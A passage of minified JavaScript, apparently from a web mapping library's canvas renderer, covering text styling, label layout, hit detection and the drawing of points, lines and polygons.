i=this.textStrokeState_,n=this.textState_,o=this.strokeKey_,r=this.textKey_,s=this.fillKey_;this.saveTextStates_();var a=this.pixelRatio,l=Wr[n.textBaseline],h=this.textOffsetY_*a,u=this.text_,c=i?i.lineWidth*Math.abs(n.scale[0])/2:0;this.instructions.push([br.DRAW_CHARS,t,e,l,n.overflow,s,n.maxAngle,a,h,o,c*a,u,r,1]),this.hitDetectionInstructions.push([br.DRAW_CHARS,t,e,l,n.overflow,s,n.maxAngle,1,h,o,c,u,r,1/a])},e.prototype.setTextStyle=function(t,e){var i,n,o;if(t){var r=t.getFill();r?((n=this.textFillState_)||(n={},this.textFillState_=n),n.fillStyle=Xo(r.getColor()||Yo)):(n=null,this.textFillState_=n);var s=t.getStroke();if(s){(o=this.textStrokeState_)||(o={},this.textStrokeState_=o);var a=s.getLineDash(),l=s.getLineDashOffset(),h=s.getWidth(),u=s.getMiterLimit();o.lineCap=s.getLineCap()||Bo,o.lineDash=a?a.slice():Ko,o.lineDashOffset=void 0===l?0:l,o.lineJoin=s.getLineJoin()||Zo,o.lineWidth=void 0===h?1:h,o.miterLimit=void 0===u?10:u,o.strokeStyle=Xo(s.getColor()||Vo)}else o=null,this.textStrokeState_=o;i=this.textState_;var c=t.getFont()||No;ir(c);var p=t.getScaleArray();i.overflow=t.getOverflow(),i.font=c,i.maxAngle=t.getMaxAngle(),i.placement=t.getPlacement(),i.textAlign=t.getTextAlign(),i.justify=t.getJustify(),i.textBaseline=t.getTextBaseline()||Ho,i.backgroundFill=t.getBackgroundFill(),i.backgroundStroke=t.getBackgroundStroke(),i.padding=t.getPadding()||qo,i.scale=void 0===p?[1,1]:p;var f=t.getOffsetX(),d=t.getOffsetY(),g=t.getRotateWithView(),_=t.getRotation();this.text_=t.getText()||"",this.textOffsetX_=void 0===f?0:f,this.textOffsetY_=void 0===d?0:d,this.textRotateWithView_=void 0!==g&&g,this.textRotation_=void 0===_?0:_,this.strokeKey_=o?("string"==typeof o.strokeStyle?o.strokeStyle:D(o.strokeStyle))+o.lineCap+o.lineDashOffset+"|"+o.lineWidth+o.lineJoin+o.miterLimit+"["+o.lineDash.join()+"]":"",this.textKey_=i.font+i.scale+(i.textAlign||"?")+(i.justify||"?")+(i.textBaseline||"?"),this.fillKey_=n?"string"==typeof n.fillStyle?n.fillStyle:"|"+D(n.fillStyle):""}else this.text_="";this.declutterImageWithText_=e},e}(Ir),Nr={Circle:jr,Default:Ir,Image:Fr,LineString:Ar,Polygon:jr,Text:Xr},Yr=function(){function t(t,e,i,n){this.tolerance_=t,this.maxExtent_=e,this.pixelRatio_=n,this.resolution_=i,this.buildersByZIndex_={}}return t.prototype.finish=function(){var t={};for(var e in this.buildersByZIndex_){t[e]=t[e]||{};var i=this.buildersByZIndex_[e];for(var n in i){var o=i[n].finish();t[e][n]=o}}return t},t.prototype.getBuilder=function(t,e){var i=void 0!==t?t.toString():"0",n=this.buildersByZIndex_[i];void 0===n&&(n={},this.buildersByZIndex_[i]=n);var o=n[e];return void 0===o&&(o=new(0,Nr[e])(this.tolerance_,this.maxExtent_,this.resolution_,this.pixelRatio_),n[e]=o),o},t}();function Br(t,e,i,n,o,r,s,a,l,h,u,c){var p=t[e],f=t[e+1],d=0,g=0,_=0,y=0;function v(){d=p,g=f,p=t[e+=n],f=t[e+1],y+=_,_=Math.sqrt((p-d)*(p-d)+(f-g)*(f-g))}do{v()}while(e<i-n&&y+_<r);for(var m=0===_?0:(r-y)/_,x=Rt(d,p,m),C=Rt(g,f,m),w=e-n,S=y,E=r+a*l(h,o,u);e<i-n&&y+_<E;)v();var T,b=Rt(d,p,m=0===_?0:(E-y)/_),O=Rt(g,f,m);if(c){var R=[x,C,b,O];Ai(R,0,4,2,c,R,R),T=R[0]>R[2]}else T=x>b;var P,I=Math.PI,M=[],F=w+n===e;if(_=0,y=S,p=t[e=w],f=t[e+1],F){v(),P=Math.atan2(f-g,p-d),T&&(P+=P>0?-I:I);var L=(b+x)/2,A=(O+C)/2;return M[0]=[L,A,(E-r)/2,P,o],M}for(var D=0,k=(o=o.replace(/\n/g," ")).length;D<k;){v();var j=Math.atan2(f-g,p-d);if(T&&(j+=j>0?-I:I),void 0!==P){var G=j-P;if(G+=G>I?-2*I:G<-I?2*I:0,Math.abs(G)>s)return null}P=j;for(var z=D,W=0;D<k;++D){var X=a*l(h,o[T?k-D-1:D],u);if(e+n<i&&y+_<r+W+X/2)break;W+=X}if(D!==z){var N=T?o.substring(k-z,k-D):o.substring(z,D);L=Rt(d,p,m=0===_?0:(r+W/2-y)/_),A=Rt(g,f,m),M.push([L,A,W/2,j,N]),r+=W}}return M}var Kr=[1/0,1/0,-1/0,-1/0],Zr=[],Vr=[],Ur=[],Hr=[];function qr(t){return t[3].declutterBox}var Jr=new RegExp("["+String.fromCharCode(1425)+"-"+String.fromCharCode(2303)+String.fromCharCode(64285)+"-"+String.fromCharCode(65023)+String.fromCharCode(65136)+"-"+String.fromCharCode(65276)+String.fromCharCode(67584)+"-"+String.fromCharCode(69631)+String.fromCharCode(124928)+"-"+String.fromCharCode(126975)+"]");function Qr(t,e){return"start"!==e&&"end"!==e||Jr.test(t)||(e="start"===e?"left":"right"),Wr[e]}function $r(t,e,i){return i>0&&t.push("\n",""),t.push(e,""),t}var ts=function(){function t(t,e,i,n){this.overlaps=i,this.pixelRatio=e,this.resolution=t,this.alignFill_,this.instructions=n.instructions,this.coordinates=n.coordinates,this.coordinateCache_={},this.renderedTransform_=[1,0,0,1,0,0],this.hitDetectionInstructions=n.hitDetectionInstructions,this.pixelCoordinates_=null,this.viewRotation_=0,this.fillStates=n.fillStates||{},this.strokeStates=n.strokeStates||{},this.textStates=n.textStates||{},this.widths_={},this.labels_={}}return t.prototype.createLabel=function(t,e,i,n){var o=t+e+i+n;if(this.labels_[o])return this.labels_[o];var r=n?this.strokeStates[n]:null,s=i?this.fillStates[i]:null,a=this.textStates[e],l=this.pixelRatio,h=[a.scale[0]*l,a.scale[1]*l],u=Array.isArray(t),c=a.justify?Wr[a.justify]:Qr(Array.isArray(t)?t[0]:t,a.textAlign||Uo),p=n&&r.lineWidth?r.lineWidth:0,f=u?t:t.split("\n").reduce($r,[]),d=function(t,e){for(var i=[],n=[],o=[],r=0,s=0,a=0,l=0,h=0,u=e.length;h<=u;h+=2){var c=e[h];if("\n"!==c&&h!==u){var p=e[h+1]||t.font,f=rr(p,c);i.push(f),s+=f;var d=nr(p);n.push(d),l=Math.max(l,d)}else r=Math.max(r,s),o.push(s),s=0,a+=l}return{width:r,height:a,widths:i,heights:n,lineWidths:o}}(a,f),g=d.width,_=d.height,y=d.widths,v=d.heights,m=d.lineWidths,x=g+p,C=[],w=(x+2)*h[0],S=(_+p)*h[1],E={width:w<0?Math.floor(w):Math.ceil(w),height:S<0?Math.floor(S):Math.ceil(S),contextInstructions:C};1==h[0]&&1==h[1]||C.push("scale",h),n&&(C.push("strokeStyle",r.strokeStyle),C.push("lineWidth",p),C.push("lineCap",r.lineCap),C.push("lineJoin",r.lineJoin),C.push("miterLimit",r.miterLimit),(V?OffscreenCanvasRenderingContext2D:CanvasRenderingContext2D).prototype.setLineDash&&(C.push("setLineDash",[r.lineDash]),C.push("lineDashOffset",r.lineDashOffset))),i&&C.push("fillStyle",s.fillStyle),C.push("textBaseline","middle"),C.push("textAlign","center");for(var T,b=.5-c,O=c*x+b*p,R=[],P=[],I=0,M=0,F=0,L=0,A=0,D=f.length;A<D;A+=2){var k=f[A];if("\n"!==k){var j=f[A+1]||a.font;j!==T&&(n&&R.push("font",j),i&&P.push("font",j),T=j),I=Math.max(I,v[F]);var G=[k,O+b*y[F]+c*(y[F]-m[L]),.5*(p+I)+M];O+=y[F],n&&R.push("strokeText",G),i&&P.push("fillText",G),++F}else M+=I,I=0,O=c*x+b*p,++L}return Array.prototype.push.apply(C,R),Array.prototype.push.apply(C,P),this.labels_[o]=E,E},t.prototype.replayTextBackground_=function(t,e,i,n,o,r,s){t.beginPath(),t.moveTo.apply(t,e),t.lineTo.apply(t,i),t.lineTo.apply(t,n),t.lineTo.apply(t,o),t.lineTo.apply(t,e),r&&(this.alignFill_=r[2],this.fill_(t)),s&&(this.setStrokeStyle_(t,s),t.stroke())},t.prototype.calculateImageOrLabelDimensions_=function(t,e,i,n,o,r,s,a,l,h,u,c,p,f,d,g){var _,y=i-(s*=c[0]),v=n-(a*=c[1]),m=o+l>t?t-l:o,x=r+h>e?e-h:r,C=f[3]+m*c[0]+f[1],w=f[0]+x*c[1]+f[2],S=y-f[3],E=v-f[0];return(d||0!==u)&&(Zr[0]=S,Hr[0]=S,Zr[1]=E,Vr[1]=E,Vr[0]=S+C,Ur[0]=Vr[0],Ur[1]=E+w,Hr[1]=Ur[1]),0!==u?(Pi(_=Ii([1,0,0,1,0,0],i,n,1,1,u,-i,-n),Zr),Pi(_,Vr),Pi(_,Ur),Pi(_,Hr),ye(Math.min(Zr[0],Vr[0],Ur[0],Hr[0]),Math.min(Zr[1],Vr[1],Ur[1],Hr[1]),Math.max(Zr[0],Vr[0],Ur[0],Hr[0]),Math.max(Zr[1],Vr[1],Ur[1],Hr[1]),Kr)):ye(Math.min(S,S+C),Math.min(E,E+w),Math.max(S,S+C),Math.max(E,E+w),Kr),p&&(y=Math.round(y),v=Math.round(v)),{drawImageX:y,drawImageY:v,drawImageW:m,drawImageH:x,originX:l,originY:h,declutterBox:{minX:Kr[0],minY:Kr[1],maxX:Kr[2],maxY:Kr[3],value:g},canvasTransform:_,scale:c}},t.prototype.replayImageOrLabel_=function(t,e,i,n,o,r,s){var a=!(!r&&!s),l=n.declutterBox,h=t.canvas,u=s?s[2]*n.scale[0]/2:0;return l.minX-u<=h.width/e&&l.maxX+u>=0&&l.minY-u<=h.height/e&&l.maxY+u>=0&&(a&&this.replayTextBackground_(t,Zr,Vr,Ur,Hr,r,s),function(t,e,i,n,o,r,s,a,l,h,u){t.save(),1!==i&&(t.globalAlpha*=i),e&&t.setTransform.apply(t,e),n.contextInstructions?(t.translate(l,h),t.scale(u[0],u[1]),function(t,e){for(var i=t.contextInstructions,n=0,o=i.length;n<o;n+=2)Array.isArray(i[n+1])?e[i[n]].apply(e,i[n+1]):e[i[n]]=i[n+1]}(n,t)):u[0]<0||u[1]<0?(t.translate(l,h),t.scale(u[0],u[1]),t.drawImage(n,o,r,s,a,0,0,s,a)):t.drawImage(n,o,r,s,a,l,h,s*u[0],a*u[1]),t.restore()}(t,n.canvasTransform,o,i,n.originX,n.originY,n.drawImageW,n.drawImageH,n.drawImageX,n.drawImageY,n.scale)),!0},t.prototype.fill_=function(t){if(this.alignFill_){var e=Pi(this.renderedTransform_,[0,0]),i=512*this.pixelRatio;t.save(),t.translate(e[0]%i,e[1]%i),t.rotate(this.viewRotation_)}t.fill(),this.alignFill_&&t.restore()},t.prototype.setStrokeStyle_=function(t,e){t.strokeStyle=e[1],t.lineWidth=e[2],t.lineCap=e[3],t.lineJoin=e[4],t.miterLimit=e[5],t.setLineDash&&(t.lineDashOffset=e[7],t.setLineDash(e[6]))},t.prototype.drawLabelWithPointPlacement_=function(t,e,i,n){var o=this.textStates[e],r=this.createLabel(t,e,n,i),s=this.strokeStates[i],a=this.pixelRatio,l=Qr(Array.isArray(t)?t[0]:t,o.textAlign||Uo),h=Wr[o.textBaseline||Ho],u=s&&s.lineWidth?s.lineWidth:0;return{label:r,anchorX:l*(r.width/a-2*o.scale[0])+2*(.5-l)*u,anchorY:h*r.height/a+2*(.5-h)*u}},t.prototype.execute_=function(t,e,i,n,o,r,s,a){var l,u,c;this.pixelCoordinates_&&h(i,this.renderedTransform_)?l=this.pixelCoordinates_:(this.pixelCoordinates_||(this.pixelCoordinates_=[]),l=Li(this.coordinates,0,this.coordinates.length,2,i,this.pixelCoordinates_),c=i,(u=this.renderedTransform_)[0]=c[0],u[1]=c[1],u[2]=c[2],u[3]=c[3],u[4]=c[4],u[5]=c[5]);for(var p,f,d,g,_,y,v,m,x,C,w,S,E,T,b,O,R=0,P=n.length,I=0,M=0,F=0,L=null,A=null,D=this.coordinateCache_,k=this.viewRotation_,j=Math.round(1e12*Math.atan2(-i[1],i[0]))/1e12,G={context:t,pixelRatio:this.pixelRatio,resolution:this.resolution,rotation:k},z=this.instructions!=n||this.overlaps?0:200;R<P;){var W=n[R];switch(W[0]){case br.BEGIN_GEOMETRY:E=W[1],O=W[3],E.getGeometry()?void 0===s||je(s,O.getExtent())?++R:R=W[2]+1:R=W[2];break;case br.BEGIN_PATH:M>z&&(this.fill_(t),M=0),F>z&&(t.stroke(),F=0),M||F||(t.beginPath(),g=NaN,_=NaN),++R;break;case br.CIRCLE:var X=l[I=W[1]],N=l[I+1],Y=l[I+2]-X,B=l[I+3]-N,K=Math.sqrt(Y*Y+B*B);t.moveTo(X+K,N),t.arc(X,N,K,0,2*Math.PI,!0),++R;break;case br.CLOSE_PATH:t.closePath(),++R;break;case br.CUSTOM:I=W[1],p=W[2];var Z=W[3],V=W[4],U=6==W.length?W[5]:void 0;G.geometry=Z,G.feature=E,R in D||(D[R]=[]);var H=D[R];U?U(l,I,p,2,H):(H[0]=l[I],H[1]=l[I+1],H.length=2),V(H,G),++R;break;case br.DRAW_IMAGE:I=W[1],p=W[2],m=W[3],f=W[4],d=W[5];var q=W[6],J=W[7],Q=W[8],$=W[9],tt=W[10],et=W[11],it=W[12],nt=W[13],ot=W[14],rt=W[15];if(!m&&W.length>=20){x=W[19],C=W[20],w=W[21],S=W[22];var st=this.drawLabelWithPointPlacement_(x,C,w,S);m=st.label,W[3]=m;var at=W[23];f=(st.anchorX-at)*this.pixelRatio,W[4]=f;var lt=W[24];d=(st.anchorY-lt)*this.pixelRatio,W[5]=d,q=m.height,W[6]=q,nt=m.width,W[13]=nt}var ht=void 0;W.length>25&&(ht=W[25]);var ut=void 0,ct=void 0,pt=void 0;W.length>17?(ut=W[16],ct=W[17],pt=W[18]):(ut=qo,ct=!1,pt=!1),tt&&j?et+=k:tt||j||(et-=k);for(var ft=0;I<p;I+=2)if(!(ht&&ht[ft++]<nt/this.pixelRatio)){var dt=[t,e,m,Xt=this.calculateImageOrLabelDimensions_(m.width,m.height,l[I],l[I+1],nt,q,f,d,Q,$,et,it,o,ut,ct||pt,E),J,ct?L:null,pt?A:null];if(a){if("none"===ot)continue;if("obstacle"===ot){a.insert(Xt.declutterBox);continue}var gt=void 0,_t=void 0;if(rt){var yt=p-I;if(!rt[yt]){rt[yt]=dt;continue}if(gt=rt[yt],delete rt[yt],_t=qr(gt),a.collides(_t))continue}if(a.collides(Xt.declutterBox))continue;gt&&(a.insert(_t),this.replayImageOrLabel_.apply(this,gt)),a.insert(Xt.declutterBox)}this.replayImageOrLabel_.apply(this,dt)}++R;break;case br.DRAW_CHARS:var vt=W[1],mt=W[2],xt=W[3],Ct=W[4];S=W[5];var wt=W[6],St=W[7],Et=W[8];w=W[9];var Tt=W[10];x=W[11],C=W[12];var bt=[W[13],W[13]],Ot=this.textStates[C],Rt=Ot.font,Pt=[Ot.scale[0]*St,Ot.scale[1]*St],It=void 0;Rt in this.widths_?It=this.widths_[Rt]:(It={},this.widths_[Rt]=It);var Mt=fn(l,vt,mt,2),Ft=Math.abs(Pt[0])*sr(Rt,x,It);if(Ct||Ft<=Mt){var Lt=this.textStates[C].textAlign,At=Br(l,vt,mt,2,x,(Mt-Ft)*Wr[Lt],wt,Math.abs(Pt[0]),sr,Rt,It,j?0:this.viewRotation_);t:if(At){var Dt=[],kt=void 0,jt=void 0,Gt=void 0,zt=void 0,Wt=void 0;if(w)for(kt=0,jt=At.length;kt<jt;++kt){Gt=(Wt=At[kt])[4],zt=this.createLabel(Gt,C,"",w),f=Wt[2]+(Pt[0]<0?-Tt:Tt),d=xt*zt.height+2*(.5-xt)*Tt*Pt[1]/Pt[0]-Et;var Xt=this.calculateImageOrLabelDimensions_(zt.width,zt.height,Wt[0],Wt[1],zt.width,zt.height,f,d,0,0,Wt[3],bt,!1,qo,!1,E);if(a&&a.collides(Xt.declutterBox))break t;Dt.push([t,e,zt,Xt,1,null,null])}if(S)for(kt=0,jt=At.length;kt<jt;++kt){if(Gt=(Wt=At[kt])[4],zt=this.createLabel(Gt,C,S,""),f=Wt[2],d=xt*zt.height-Et,Xt=this.calculateImageOrLabelDimensions_(zt.width,zt.height,Wt[0],Wt[1],zt.width,zt.height,f,d,0,0,Wt[3],bt,!1,qo,!1,E),a&&a.collides(Xt.declutterBox))break t;Dt.push([t,e,zt,Xt,1,null,null])}a&&a.load(Dt.map(qr));for(var Nt=0,Yt=Dt.length;Nt<Yt;++Nt)this.replayImageOrLabel_.apply(this,Dt[Nt])}}++R;break;case br.END_GEOMETRY:if(void 0!==r){var Bt=r(E=W[1],O);if(Bt)return Bt}++R;break;case br.FILL:z?M++:this.fill_(t),++R;break;case br.MOVE_TO_LINE_TO:for(I=W[1],p=W[2],T=l[I],v=(b=l[I+1])+.5|0,(y=T+.5|0)===g&&v===_||(t.moveTo(T,b),g=y,_=v),I+=2;I<p;I+=2)y=(T=l[I])+.5|0,v=(b=l[I+1])+.5|0,I!=p-2&&y===g&&v===_||(t.lineTo(T,b),g=y,_=v);++R;break;case br.SET_FILL_STYLE:L=W,this.alignFill_=W[2],M&&(this.fill_(t),M=0,F&&(t.stroke(),F=0)),t.fillStyle=W[1],++R;break;case br.SET_STROKE_STYLE:A=W,F&&(t.stroke(),F=0),this.setStrokeStyle_(t,W),++R;break;case br.STROKE:z?F++:t.stroke(),++R;break;default:++R}}M&&this.fill_(t),F&&t.stroke()},t.prototype.execute=function(t,e,i,n,o,r){this.viewRotation_=n,this.execute_(t,e,i,this.instructions,o,void 0,void 0,r)},t.prototype.executeHitDetection=function(t,e,i,n,o){return this.viewRotation_=i,this.execute_(t,1,e,this.hitDetectionInstructions,!0,n,o)},t}(),es=ts,is=["Polygon","Circle","LineString","Image","Text","Default"],ns=function(){function t(t,e,i,n,o,r){this.maxExtent_=t,this.overlaps_=n,this.pixelRatio_=i,this.resolution_=e,this.renderBuffer_=r,this.executorsByZIndex_={},this.hitDetectionContext_=null,this.hitDetectionTransform_=[1,0,0,1,0,0],this.createExecutors_(o)}return t.prototype.clip=function(t,e){var i=this.getClipCoords(e);t.beginPath(),t.moveTo(i[0],i[1]),t.lineTo(i[2],i[3]),t.lineTo(i[4],i[5]),t.lineTo(i[6],i[7]),t.clip()},t.prototype.createExecutors_=function(t){for(var e in t){var i=this.executorsByZIndex_[e];void 0===i&&(i={},this.executorsByZIndex_[e]=i);var n=t[e];for(var o in n){var r=n[o];i[o]=new es(this.resolution_,this.pixelRatio_,this.overlaps_,r)}}},t.prototype.hasExecutors=function(t){for(var e in this.executorsByZIndex_)for(var i=this.executorsByZIndex_[e],n=0,o=t.length;n<o;++n)if(t[n]in i)return!0;return!1},t.prototype.forEachFeatureAtCoordinate=function(t,e,i,n,o,s){var a=2*(n=Math.round(n))+1,l=Ii(this.hitDetectionTransform_,n+.5,n+.5,1/e,-1/e,-i,-t[0],-t[1]),h=!this.hitDetectionContext_;h&&(this.hitDetectionContext_=q(a,a));var u,c=this.hitDetectionContext_;c.canvas.width!==a||c.canvas.height!==a?(c.canvas.width=a,c.canvas.height=a):h||c.clearRect(0,0,a,a),void 0!==this.renderBuffer_&&(Ce(u=[1/0,1/0,-1/0,-1/0],t),ue(u,e*(this.renderBuffer_+n),u));var p,f=function(t){if(void 0!==os[t])return os[t];for(var e=2*t+1,i=t*t,n=new Array(i+1),o=0;o<=t;++o)for(var r=0;r<=t;++r){var s=o*o+r*r;if(s>i)break;var a=n[s];a||(a=[],n[s]=a),a.push(4*((t+o)*e+(t+r))+3),o>0&&a.push(4*((t-o)*e+(t+r))+3),r>0&&(a.push(4*((t+o)*e+(t-r))+3),o>0&&a.push(4*((t-o)*e+(t-r))+3))}for(var l=[],h=(o=0,n.length);o<h;++o)n[o]&&l.push.apply(l,n[o]);return os[t]=l,l}(n);function d(t,e){for(var i=c.getImageData(0,0,a,a).data,r=0,l=f.length;r<l;r++)if(i[f[r]]>0){if(!s||"Image"!==p&&"Text"!==p||-1!==s.indexOf(t)){var h=(f[r]-3)/4,u=n-h%a,d=n-(h/a|0),g=o(t,e,u*u+d*d);if(g)return g}c.clearRect(0,0,a,a);break}}var g,_,y,v,m,x=Object.keys(this.executorsByZIndex_).map(Number);for(x.sort(r),g=x.length-1;g>=0;--g){var C=x[g].toString();for(y=this.executorsByZIndex_[C],_=is.length-1;_>=0;--_)if(void 0!==(v=y[p=is[_]])&&(m=v.executeHitDetection(c,l,i,d,u)))return m}},t.prototype.getClipCoords=function(t){var e=this.maxExtent_;if(!e)return null;var i=e[0],n=e[1],o=e[2],r=e[3],s=[i,n,i,r,o,r,o,n];return Li(s,0,8,2,t,s),s},t.prototype.isEmpty=function(){return _(this.executorsByZIndex_)},t.prototype.execute=function(t,e,i,n,o,s,a){var l=Object.keys(this.executorsByZIndex_).map(Number);l.sort(r),this.maxExtent_&&(t.save(),this.clip(t,i));var h,u,c,p,f,d,g=s||is;for(a&&l.reverse(),h=0,u=l.length;h<u;++h){var _=l[h].toString();for(f=this.executorsByZIndex_[_],c=0,p=g.length;c<p;++c)void 0!==(d=f[g[c]])&&d.execute(t,e,i,n,o,a)}this.maxExtent_&&t.restore()},t}(),os={},rs=ns,ss=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),as=function(t){function e(e,i,n,o,r,s,a){var l=t.call(this)||this;return l.context_=e,l.pixelRatio_=i,l.extent_=n,l.transform_=o,l.viewRotation_=r,l.squaredTolerance_=s,l.userTransform_=a,l.contextFillState_=null,l.contextStrokeState_=null,l.contextTextState_=null,l.fillState_=null,l.strokeState_=null,l.image_=null,l.imageAnchorX_=0,l.imageAnchorY_=0,l.imageHeight_=0,l.imageOpacity_=0,l.imageOriginX_=0,l.imageOriginY_=0,l.imageRotateWithView_=!1,l.imageRotation_=0,l.imageScale_=[0,0],l.imageWidth_=0,l.text_="",l.textOffsetX_=0,l.textOffsetY_=0,l.textRotateWithView_=!1,l.textRotation_=0,l.textScale_=[0,0],l.textFillState_=null,l.textStrokeState_=null,l.textState_=null,l.pixelCoordinates_=[],l.tmpLocalTransform_=[1,0,0,1,0,0],l}return ss(e,t),e.prototype.drawImages_=function(t,e,i,n){if(this.image_){var o=Li(t,e,i,n,this.transform_,this.pixelCoordinates_),r=this.context_,s=this.tmpLocalTransform_,a=r.globalAlpha;1!=this.imageOpacity_&&(r.globalAlpha=a*this.imageOpacity_);var l=this.imageRotation_;this.imageRotateWithView_&&(l+=this.viewRotation_);for(var h=0,u=o.length;h<u;h+=2){var c=o[h]-this.imageAnchorX_,p=o[h+1]-this.imageAnchorY_;if(0!==l||1!=this.imageScale_[0]||1!=this.imageScale_[1]){var f=c+this.imageAnchorX_,d=p+this.imageAnchorY_;Ii(s,f,d,1,1,l,-f,-d),r.setTransform.apply(r,s),r.translate(f,d),r.scale(this.imageScale_[0],this.imageScale_[1]),r.drawImage(this.image_,this.imageOriginX_,this.imageOriginY_,this.imageWidth_,this.imageHeight_,-this.imageAnchorX_,-this.imageAnchorY_,this.imageWidth_,this.imageHeight_),r.setTransform(1,0,0,1,0,0)}else r.drawImage(this.image_,this.imageOriginX_,this.imageOriginY_,this.imageWidth_,this.imageHeight_,c,p,this.imageWidth_,this.imageHeight_)}1!=this.imageOpacity_&&(r.globalAlpha=a)}},e.prototype.drawText_=function(t,e,i,n){if(this.textState_&&""!==this.text_){this.textFillState_&&this.setContextFillState_(this.textFillState_),this.textStrokeState_&&this.setContextStrokeState_(this.textStrokeState_),this.setContextTextState_(this.textState_);var o=Li(t,e,i,n,this.transform_,this.pixelCoordinates_),r=this.context_,s=this.textRotation_;for(this.textRotateWithView_&&(s+=this.viewRotation_);e<i;e+=n){var a=o[e]+this.textOffsetX_,l=o[e+1]+this.textOffsetY_;if(0!==s||1!=this.textScale_[0]||1!=this.textScale_[1]){var h=Ii(this.tmpLocalTransform_,a,l,1,1,s,-a,-l);r.setTransform.apply(r,h),r.translate(a,l),r.scale(this.textScale_[0],this.textScale_[1]),this.textStrokeState_&&r.strokeText(this.text_,0,0),this.textFillState_&&r.fillText(this.text_,0,0),r.setTransform(1,0,0,1,0,0)}else this.textStrokeState_&&r.strokeText(this.text_,a,l),this.textFillState_&&r.fillText(this.text_,a,l)}}},e.prototype.moveToLineTo_=function(t,e,i,n,o){var r=this.context_,s=Li(t,e,i,n,this.transform_,this.pixelCoordinates_);r.moveTo(s[0],s[1]);var a=s.length;o&&(a-=2);for(var l=2;l<a;l+=2)r.lineTo(s[l],s[l+1]);return o&&r.closePath(),i},e.prototype.drawRings_=function(t,e,i,n){for(var o=0,r=i.length;o<r;++o)e=this.moveToLineTo_(t,e,i[o],n,!0);return e},e.prototype.drawCircle=function(t){if(je(this.extent_,t.getExtent())){if(this.fillState_||this.strokeState_){this.fillState_&&this.setContextFillState_(this.fillState_),this.strokeState_&&this.setContextStrokeState_(this.strokeState_);var e=function(t,e,i){var n=t.getFlatCoordinates();if(n){var o=t.getStride();return Li(n,0,n.length,o,e,i)}return null}(t,this.transform_,this.pixelCoordinates_),i=e[2]-e[0],n=e[3]-e[1],o=Math.sqrt(i*i+n*n),r=this.context_;r.beginPath(),r.arc(e[0],e[1],o,0,2*Math.PI),this.fillState_&&r.fill(),this.strokeState_&&r.stroke()}""!==this.text_&&this.drawText_(t.getCenter(),0,2,2)}},e.prototype.setStyle=function(t){this.setFillStrokeStyle(t.getFill(),t.getStroke()),this.setImageStyle(t.getImage()),this.setTextStyle(t.getText())},e.prototype.setTransform=function(t){this.transform_=t},e.prototype.drawGeometry=function(t){switch(t.getType()){case"Point":this.drawPoint(t);break;case"LineString":this.drawLineString(t);break;case"Polygon":this.drawPolygon(t);break;case"MultiPoint":this.drawMultiPoint(t);break;case"MultiLineString":this.drawMultiLineString(t);break;case"MultiPolygon":this.drawMultiPolygon(t);break;case"GeometryCollection":this.drawGeometryCollection(t);break;case"Circle":this.drawCircle(t)}},e.prototype.drawFeature=function(t,e){var i=e.getGeometryFunction()(t);i&&je(this.extent_,i.getExtent())&&(this.setStyle(e),this.drawGeometry(i))},e.prototype.drawGeometryCollection=function(t){for(var e=t.getGeometriesArray(),i=0,n=e.length;i<n;++i)this.drawGeometry(e[i])},e.prototype.drawPoint=function(t){this.squaredTolerance_&&(t=t.simplifyTransformed(this.squaredTolerance_,this.userTransform_));var e=t.getFlatCoordinates(),i=t.getStride();this.image_&&this.drawImages_(e,0,e.length,i),""!==this.text_&&this.drawText_(e,0,e.length,i)},e.prototype.drawMultiPoint=function(t){this.squaredTolerance_&&(t=t.simplifyTransformed(this.squaredTolerance_,this.userTransform_));var e=t.getFlatCoordinates(),i=t.getStride();this.image_&&this.drawImages_(e,0,e.length,i),""!==this.text_&&this.drawText_(e,0,e.length,i)},e.prototype.drawLineString=function(t){if(this.squaredTolerance_&&(t=t.simplifyTransformed(this.squaredTolerance_,this.userTransform_)),je(this.extent_,t.getExtent())){if(this.strokeState_){this.setContextStrokeState_(this.strokeState_);var e=this.context_,i=t.getFlatCoordinates();e.beginPath(),this.moveToLineTo_(i,0,i.length,t.getStride(),!1),e.stroke()}if(""!==this.text_){var n=t.getFlatMidpoint();this.drawText_(n,0,2,2)}}},e.prototype.drawMultiLineString=function(t){this.squaredTolerance_&&(t=t.simplifyTransformed(this.squaredTolerance_,this.userTransform_));var e=t.getExtent();if(je(this.extent_,e)){if(this.strokeState_){this.setContextStrokeState_(this.strokeState_);var i=this.context_,n=t.getFlatCoordinates(),o=0,r=t.getEnds(),s=t.getStride();i.beginPath();for(var a=0,l=r.length;a<l;++a)o=this.moveToLineTo_(n,o,r[a],s,!1);i.stroke()}if(""!==this.text_){var h=t.getFlatMidpoints();this.drawText_(h,0,h.length,2)}}},e.prototype.drawPolygon=function(t){if(this.squaredTolerance_&&(t=t.simplifyTransformed(this.squaredTolerance_,this.userTransform_)),je(this.extent_,t.getExtent())){if(this.strokeState_||this.fillState_){this.fillState_&&this.setContextFillState_(this.fillState_),this.strokeState_&&this.setContextStrokeState_(this.strokeState_);var e=this.context_;e.beginPath(),this.drawRings_(t.getOrientedFlatCoordinates(),0,t.getEnds(),t.getStride()),this.fillState_&&e.fill(),this.strokeState_&&e.stroke()}if(""!==this.text_){var i=t.getFlatInteriorPoint();this.drawText_(i,0,2,2)}}},e.prototype.drawMultiPolygon=function(t){if(this.squaredTolerance_&&(t=t.simplifyTransformed(this.squaredTolerance_,this.userTransform_)),je(this.extent_,t.getExtent())){if(this.strokeState_||this.fillState_){this.fillState_&&this.setContextFillState_(this.fillState_),this.strokeState_&&this.setContextStrokeState_(this.strokeState_);var e=this.context_,i=t.getOrientedFlatCoordinates(),n=0,o=t.getEndss(),r=t.getStride();e.beginPath();for(var s=0,a=o.length;s<a;++s){var l=o[s];n=this.drawRings_(i,n,l,r)}this.fillState_&&e.fill(),this.strokeState_&&e.stroke()}if(""!==this.text_){var h=t.getFlatInteriorPoints();this.drawText_(h,0,h.length,2)}}},e.prototype.setContextFillState_=function(t){var e=this.context_,i=this.contextFillState_;i?i.fillStyle!=t.fillStyle&&(i.fillStyle=t.fillStyle,e.fillStyle=t.fillStyle):(e.fillStyle=t.fillStyle,this.contextFillState_={fillStyle:t.fillStyle})},e.prototype.setContextStrokeState_=function(t){var 